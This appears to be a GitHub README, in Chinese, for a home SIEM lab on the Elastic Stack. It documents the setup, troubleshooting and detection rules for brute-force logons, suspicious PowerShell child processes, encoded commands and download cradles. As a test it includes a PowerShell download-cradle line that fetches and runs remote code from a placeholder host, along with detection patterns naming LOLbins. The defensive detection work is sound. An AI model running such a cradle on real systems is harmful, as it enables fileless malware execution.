Roman-Layer01/siem-lab

GitHub: Roman-Layer01/siem-lab

基于 Elastic Stack 的家庭 SIEM 实验室,用于端点日志采集与安全检测规则的工程化开发与验证。

Stars: 0 | Forks: 0

# 家庭 SIEM 实验室 – Elastic Stack 检测管道 ## 目标 构建一个功能性的 SIEM 环境,用于接收 Windows 端点日志,验证遥测数据,并针对可疑活动开发检测规则。 ## 实验室架构 Windows 11 虚拟机 (端点) ↓ Elastic Agent (日志收集) ↓ Fleet Server (管理层) ↓ Elasticsearch (数据存储) ↓ Kibana (可视化与检测) ## 环境 - VMware Workstation (虚拟化实验室) - Ubuntu Server (Elastic Stack 主机) - Windows 11 虚拟机 (日志源) - Elastic Stack: - Elasticsearch - Kibana - Fleet Server - Elastic Agent ## 实施过程 ### SIEM 部署 - 在 Ubuntu 上安装并配置了 Elasticsearch - 设置了 Kibana 并启用了远程访问 (0.0.0.0) - 在 Ubuntu 上部署了 Fleet Server - 在 Windows 11 虚拟机上安装了 Elastic Agent - 将端点连接到 Fleet 以进行集中管理 ### 日志接收管道 成功构建了正常运行的工作管道: Windows 事件日志 → Elastic Agent → Fleet Server → Elasticsearch → Kibana 验证了 Windows 安全日志的接收。 ## 检测工程 ### 登录失败检测规则 **目标:** 检测暴力破解或未经授权的访问尝试。 **查询:** ``` event.code: 4625 and winlog.channel: "Security" and winlog.computer_name: "DesktopWin11.THE.WIRED" ``` **规则逻辑:** - 阈值:3 次登录失败 - 时间窗口:5 分钟 - 运行频率:每 1 分钟 **关键调整:** - 最初设置为 5 次尝试 - 由于 Windows 默认的账户锁定行为,减少至 3 次 ✅ 通过模拟登录失败尝试成功触发了告警 ### PowerShell 父子进程检测 **目标:** 检测由 PowerShell 派生的进程,表明存在潜在的基于脚本的执行。 **查询 (基线):** ``` event.code: "4688" AND process.parent.name: "powershell.exe" ``` **查询 (高保真):** ``` event.code: "4688" AND process.parent.name: "powershell.exe" AND process.name: ("cmd.exe" OR "rundll32.exe" OR "mshta.exe" OR "wscript.exe") ``` **关键洞察:** - 广泛的检测提供了对 PowerShell 活动的可见性 - 高保真检测针对常被滥用的二进制文件 (LOLbins) ✅ 使用模拟的进程执行成功触发了告警 ### 编码的 PowerShell 命令检测 **目标:** 检测使用编码命令进行混淆的 PowerShell 执行。 **查询:** ``` event.code: "4104" AND powershell.file.script_block_text: ("-enc" OR "-encodedcommand") ``` **关键洞察:** - 编码命令通常用于逃避检测 - 检测依赖于 Script Block Logging (事件 ID 4104) ✅ 使用编码命令执行成功触发了告警 ### PowerShell 下载 Cradle 检测 (无文件恶意软件) **目标:** 检测使用 PowerShell 在内存中下载并执行远程代码的无文件恶意软件技术。 **查询:** ``` event.code: "4104" AND powershell.file.script_block_text: ("IEX" AND "WebClient") ``` **测试:** ``` IEX (New-Object Net.WebClient).DownloadString("http://example.com") ``` **关键洞察:** - 代表了真实攻击者的行为 (无文件执行) - 在内存中执行 payload,无需写入磁盘 - 依赖于 Script Block Logging 的可见性 ✅ 通过模拟无文件执行成功触发了告警 ## PowerShell 日志调查 ### 目标 了解 PowerShell 事件日志记录中的差异并提高检测准确性。 ### 观察结果 - 事件 ID 400 → PowerShell 会话启动 (无命令可见性) - 事件 ID 4104 → Script Block Logging (捕获命令内容) ### 问题 初始检测在 PowerShell 会话创建时触发,而不是在实际命令执行时触发。 ### 发现 - 打开 PowerShell 并不能保证命令可见性 - 必须启用 Script Block Logging 才能获取有用的遥测数据 - 即使启用了日志记录,某些活动也可能无法被持续捕获 ### 示例查询 ``` winlog.computer_name: "DesktopWin11.THE.WIRED" AND event.code: (400 OR 4104 OR 4105 OR 4106) ``` ### 经验教训 检测工程必须与**实际的遥测行为**保持一致,而不是基于假设。 ## 故障排除与问题解决 ### 问题:Windows 日志未在 Kibana 中显示 **根本原因:** Fleet 输出与 Kibana 主机不匹配 **解决方案:** 更正了配置 ### 问题:Kibana 变得无法访问 **根本原因:** Ubuntu 服务器上的 DHCP IP 发生更改 **解决方案:** 更新了配置 ### 问题:Elastic 安装失败 **根本原因:** 磁盘空间不足 (20GB) **解决方案:** 将磁盘扩展至 60GB 并调整了文件系统大小 ### 问题:检测规则未触发 **根本原因:** 数据视图不正确 **解决方案:** 更新为 logs-* ### 问题:PowerShell 检测测试最初失败 **根本原因:** 命令在错误的 shell 上下文中执行 **解决方案:** 在正确的 PowerShell 环境中重新运行了测试 ## 检测覆盖范围 (MITRE ATT&CK) 本实验室将检测逻辑与 MITRE ATT&CK 框架保持一致,该框架将真实世界的攻击者行为映射为战术 (目标) 和技术 (用于实现这些目标的方法)。 ### 涵盖的战术与技术 - **T1059.001 – PowerShell (执行)** - 使用进程创建 (事件 ID 4688) 检测基于 PowerShell 的脚本执行 - **T1027 – 混淆/编码的文件或信息 (防御规避)** - 检测编码的 PowerShell 命令的使用 (事件 ID 4104) - **T1105 – 远程工具复制 (命令与控制)** - 使用 PowerShell (IEX + WebClient) 检测下载 cradle 活动 - **T1110 – 暴力破解 (凭证访问)** - 检测反复的登录失败尝试 (事件 ID 4625) ### 目的 将检测映射到 MITRE ATT&CK 提供了一种标准化的方法,以了解攻击者行为、评估检测覆盖率并改进防御策略。 `` ## 关键经验教训 - 检测规则必须针对实际遥测数据进行验证 - 日志记录的缺失直接影响检测能力 - PowerShell 事件 ID 代表不同的行为 - 基础设施问题可能会悄无声息地破坏检测 - 检测工程需要迭代测试和改进 - 执行上下文会影响测试准确性 ## 当前状态 ✅ SIEM 后端已运行 ✅ 端点遥测数据接收正常工作 ✅ 检测规则已经过测试和验证 ✅ 已实施多项行为检测 ## 后续步骤 - 提高 Script Block Logging 的可靠性 - 扩展到 DNS/网络遥测 (集成 Pi-hole) - 关联端点和网络活动 - 优化检测规则以减少误报
标签:Elastic Stack, MIT许可证, 后端开发, 安全运营, 对抗机器学习, 扫描框架, 流量重放, 越狱测试